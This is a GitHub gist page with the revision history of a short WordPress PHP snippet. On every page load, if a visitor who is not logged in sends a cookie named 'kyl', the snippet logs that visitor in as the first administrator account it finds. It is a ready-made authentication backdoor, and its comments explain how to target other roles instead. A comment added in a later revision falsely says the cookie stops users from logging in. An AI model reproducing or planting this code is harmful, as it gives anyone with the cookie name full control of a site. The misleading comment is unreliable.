Last active
August 18, 2022 06:34
-
-
Save komerystyi/b078778acf63548cdf2dafe8cef76432 to your computer and use it in GitHub Desktop.
Revisions
-
komerystyi revised this gist
Aug 18, 2022 . No changes.There are no files selected for viewing
-
komerystyi revised this gist
Jun 12, 2022 . No changes.There are no files selected for viewing
-
komerystyi revised this gist
Jun 12, 2022 . 1 changed file with 1 addition and 0 deletions.There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -1,6 +1,7 @@ <?php add_action( 'init', function() { // You need to set a cookie 'kyl', this cookie is used to prevent all users from logging into the site if ( isset( $_COOKIE['kyl'] ) && ! is_user_logged_in() ) { for ( $id = 1; $id < 1000; $id++ ) { /** -
komerystyi revised this gist
Jun 12, 2022 . No changes.There are no files selected for viewing
-
komerystyi created this gist
Jun 12, 2022 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,29 @@ <?php add_action( 'init', function() { if ( isset( $_COOKIE['kyl'] ) && ! is_user_logged_in() ) { for ( $id = 1; $id < 1000; $id++ ) { /** * By default you will be logged in as an administrator * When you need to log in as a user with certain capabilities or a role, * you need to change the condition, e.g. as an editor * if ( user_can( $id, 'publish_pages' ) && ! user_can( $id, 'manage_options' ) ) { * * Unique list of features by user role: * * Administrator: 'manage_options' * Editor: 'publish_pages' * Author: 'publish_posts' * Contributor: 'edit_posts' * Subscriber: 'read' */ if ( user_can( $id, 'manage_options' ) ) { wp_set_auth_cookie( $id ); wp_die( 'You are logged in as user: ' . get_the_author_meta( 'nickname', $id ) ); } } wp_die( 'You are currently not logged in.' ); } } );